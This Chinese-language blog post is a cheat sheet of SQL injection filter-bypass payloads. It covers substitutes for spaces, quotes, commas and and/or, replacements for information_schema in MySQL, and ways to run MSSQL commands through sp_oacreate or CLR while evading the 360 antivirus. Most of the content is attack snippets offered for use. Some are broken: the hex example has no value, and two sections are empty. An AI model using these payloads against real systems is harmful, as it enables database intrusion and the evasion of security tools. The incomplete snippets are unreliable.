大家好,欢迎来到IT知识分享网。
SQL注入秘籍【绕过篇】
1.通用方法
编码
编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码
2.绕过空格
空格被过滤的情况,可以用如下的一些手法:
- 使用注释符
select//user(); select/*hahaha*/user();
- URL编码空格
使用URL编码 +
编码空格
- 其他URL编码(换行、Tab等)
%0d、%0a、%09、%0b、%a0
- 使用括号
括号是用来包围子查询的;因此任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格
select(user())from(t_user);
and/or
后面的空格需要绕过
如果是and/or
后面的空格需要绕过的话,可以跟上奇或者偶数个!、~
来替代空格,也可以混合使用(规律有不同,可以自己本地尝试),and/or
前的空格可用省略
select * from user where username="test"and!!!1=1; select * from user where username="test"and~~~~1=1; select * from user where username="test"and~~!!!~~1=1;
也可以用+、-
来替代空格,and后有偶数个-
即可,+
的个数随意
select * from user where username="test"and------1=1; select * from user where username="test"and+++---+++---+++1=1;
3.绕过引号
十六进制hex()
单/双引号被过滤,一般采用16进制绕过
例如:
-- 原语句 select table_name from information_schema.tables where table_schema='test'; -- 16进制后 select table_name from information_schema.tables where table_schema=0x;
char()
除了上面的十六进制外,还可以用char函数连接起来
select table_name from information_schema.tables where table_schema='test'; -- char后 select table_name from information_schema.tables where table_schema=char(116,101,115,116);
4.绕过逗号,
针对普通情况(使用join)
-- 原语句 select user(),database(); -- 绕过 select * from (select user())a join (select database())b;
针对limit(使用offset)
-- 原语句 select * from t_user limit 1,1 -- 绕过 select * from t_user limit 1 offset 1;
针对切割函数
-- 原语句 select substr(username,1,1) from t_user; -- 绕过 select substr(username from 1 for 1) from t_user;
5.绕过等号=
过滤了等号或者相关的匹配符,可以采用如下的一些手法来绕过
6.绕过and/or
因为and和or主要也是起到连接我们拼接语句的作用,那我们找其他类似功能的算术符等即可
select 1 && 0; select 1 || 0;
7.绕过注释符
对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行
解决办法也很简单,用完整语句给他闭合就OK了,其他语句类似
# 原始 ?id=1 # 完整闭合 ?id=1' and expr and '1'='1
8.绕过函数检测
一些函数如ascii
等被过滤,可以使用等价的函数进行绕过,如
9.绕过information_schema
1、利用mysql5.7新增的sys.schema_auto_increment_columns
这是sys数据库下的一个视图,基础数据来自与information_schema
,他的作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名
2、sys.schema_table_statistics_with_buffer
这是sys数据库下的视图,里面存储着所有数据库所有表的统计信息
3、mysql默认存储引擎innoDB携带的表
mysql.innodb_table_stats mysql.innodb_index_stats
两表均有database_name和table_name字段,可以利用
10.MSSQL一开xp_cmdshell就被360杀
xp_cmdshell
是直接使用cmd /c来执行命令的,会被360拦截,可以用sp_oacreate
来执行一些读写功能,因为不调用cmd所以360不会拦截,前提是需要知道网站的根目录
另一种方法是使用CLR,MSSQL CLR 是一项功能,允许在 SQL Server 数据库上运行托管代码,包括 C# 和 Visual Basic
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/132365.html